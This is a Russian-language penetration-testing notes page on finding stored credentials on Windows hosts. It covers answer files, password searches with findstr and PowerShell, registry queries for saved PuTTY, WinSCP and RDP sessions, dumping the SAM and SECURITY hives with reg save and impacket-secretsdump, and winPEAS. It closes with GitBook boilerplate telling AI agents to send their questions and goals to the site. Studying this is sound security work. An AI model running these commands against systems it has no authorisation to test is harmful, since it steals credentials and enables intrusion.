> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md).

# Учетные данные в файлах Windows

Системы Windows могут сохранять учетные данные в файлах развертывания, ответов или конфигурации. Эти файлы особенно ценны после получения ограниченной локальной точки опоры.

## Файлы для проверки

```
C:/Windows/Panther/unattend.xml
C:/Windows/Panther/Autounattend.xml
C:/Windows/System32/Sysprep/sysprep.inf
C:/Windows/System32/Sysprep/sysprep.xml
C:/inetpub/wwwroot/web.config
C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
```

Если пароль хранится в открытом виде, его можно повторно использовать. Если `открытый текст` атрибут `ложь`, считайте значение закодированным или зашифрованным и анализируйте его отдельно.

<figure><img src="/files/2776a8503fff6d73dec7ba942f737f5ab89ddc24" alt="Windows deployment file containing credential material"><figcaption></figcaption></figure>

## Ключевые моменты

* Проверяйте файлы развертывания Windows на раннем этапе при локальной перечислении.
* Проверьте, является ли обнаруженный пароль открытым текстом, закодированным, зашифрованным или устаревшим.
* Устраняйте проблему, удаляя файлы ответов после установки и избегая постоянного хранения секретов в артефактах развертывания.

## Полезные поисковые запросы

Сначала ищите в предсказуемых местах, затем расширяйте область поиска, если хост достаточно мал.

```cmd
dir /s /b C:\*unattend* C:\*sysprep* C:\*web.config* 2>nul
findstr /si /m "password passwd pwd username user= connectionString" C:\Users\*.txt C:\Users\*.ini C:\Users\*.config 2>nul
```

```powershell
Get-ChildItem C:\Users -Recurse -Force -Include *.txt,*.ini,*.config,*.xml,*.kdbx -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|connectionString|apikey|secret'
```

## Реестр и сохранённые сеансы

Проверки реестра полезны, когда приложения хранят профили, недавние хосты или старые учетные данные.

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
cmdkey /list
```

## Источники офлайн-хэшей

Если у вас есть привилегии, такие как `SeBackupPrivilege` или доступ локального администратора, экспортируйте кусты реестра и анализируйте их офлайн вместо прямого чтения заблокированных файлов.

```cmd
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Автоматизированные помощники

Используйте инструменты, чтобы найти то, что пропускают ручные поиски, но перед применением обязательно вручную проверьте вывод.

```powershell
.\winPEASx64.exe quiet cmd fast
.\PrivescCheck.ps1
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
